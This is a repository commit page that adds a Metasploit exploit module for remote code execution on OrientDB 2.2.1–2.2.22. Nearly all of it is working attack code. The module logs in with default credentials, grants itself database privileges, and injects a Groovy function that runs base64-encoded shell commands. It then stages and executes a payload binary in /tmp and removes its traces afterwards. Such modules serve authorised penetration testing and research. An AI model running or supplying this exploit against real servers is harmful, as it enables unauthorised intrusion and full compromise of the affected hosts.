Orientdb 2.2.x RCE
parent
39b2e824ec
commit
99ba645034
|
@ -0,0 +1,258 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||
All versions from 2.2.1 up to 2.2.22 should be vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
|
||||
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
|
||||
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
|
||||
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
|
||||
],
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['debug_asm','debug_write','vbs','certutil']}]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 13 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2480),
|
||||
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
|
||||
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri
|
||||
uri.path = normalize_uri(uri.path)
|
||||
uri.path << "/" if uri.path[-1, 1] != "/"
|
||||
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
|
||||
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
|
||||
print_good("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def http_send_command(cmd, opts = {})
|
||||
# 1 -Create the malicious function
|
||||
func_name = Rex::Text::rand_text_alpha(5).downcase
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
if not (res and res.code == 201)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 2 - Trigger the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => ""
|
||||
}
|
||||
req = send_request_raw(request_parameters)
|
||||
if not (req and req.code == 200)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 3 - Get the malicious function id
|
||||
if res && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["@rid"]
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
|
||||
return
|
||||
end
|
||||
end
|
||||
func_id = json_body.slice(1..-1)
|
||||
# 4 - Delete the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => ""
|
||||
}
|
||||
rer = send_request_raw(request_parameters)
|
||||
if not (rer and rer.code == 204)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def java_craft_runtime_exec(cmd)
|
||||
decoder = Rex::Text.rand_text_alpha(5, 8)
|
||||
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
||||
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
||||
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\\n"
|
||||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\\\"#{Rex::Text.encode_base64(cmd)}\\\");\\n"
|
||||
jcode << "String [] #{cmd_array} = new String[3];\\n"
|
||||
if target['Platform'] == 'win'
|
||||
jcode << "#{cmd_array}[0] = \\\"cmd.exe\\\";\\n"
|
||||
jcode << "#{cmd_array}[1] = \\\"/c\\\";\\n"
|
||||
else
|
||||
jcode << "#{cmd_array}[0] = \\\"/bin/sh\\\";\\n"
|
||||
jcode << "#{cmd_array}[1] = \\\"-c\\\";\\n"
|
||||
end
|
||||
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \\\"UTF-8\\\");\\n"
|
||||
jcode << "Runtime.getRuntime().exec(#{cmd_array});"
|
||||
jcode
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if not @to_delete.nil?
|
||||
print_warning("Deleting #{@to_delete} payload file")
|
||||
execute_command("rm #{@to_delete}")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
vprint_status("Attempting to execute: #{cmd}")
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
http_send_command(cmd,targetdb)
|
||||
end
|
||||
|
||||
def linux_stager
|
||||
cmds = "echo LINE | tee FILE"
|
||||
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
base64 = Rex::Text.encode_base64(exe)
|
||||
base64.gsub!(/\=/, "\\u003d")
|
||||
file = rand_text_alphanumeric(4+rand(4))
|
||||
execute_command("touch /tmp/#{file}.b64")
|
||||
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
||||
base64.each_line do |line|
|
||||
line.chomp!
|
||||
cmd = cmds
|
||||
cmd.gsub!(/LINE/, line)
|
||||
execute_command(cmds)
|
||||
end
|
||||
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
||||
execute_command("chmod +x /tmp/#{file}")
|
||||
execute_command("rm /tmp/#{file}.b64")
|
||||
execute_command("/tmp/#{file}")
|
||||
@to_delete = "/tmp/#{file}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
privs_enable = ['create','read','update','execute','delete']
|
||||
items = ['database.class.ouser','database.function','database.systemclusters']
|
||||
# Set the required DB permissions
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "GRANT #{priv} ON #{item} TO writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
# Exploit
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
execute_cmdstager(flavor: :debug_asm)
|
||||
when 'unix'
|
||||
print_status("#{rhost}:#{rport} - Sending payload...")
|
||||
res = http_send_command("#{payload.encoded}","#{targetdb}")
|
||||
when 'linux'
|
||||
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
||||
linux_stager
|
||||
end
|
||||
handler
|
||||
# Final Cleanup
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue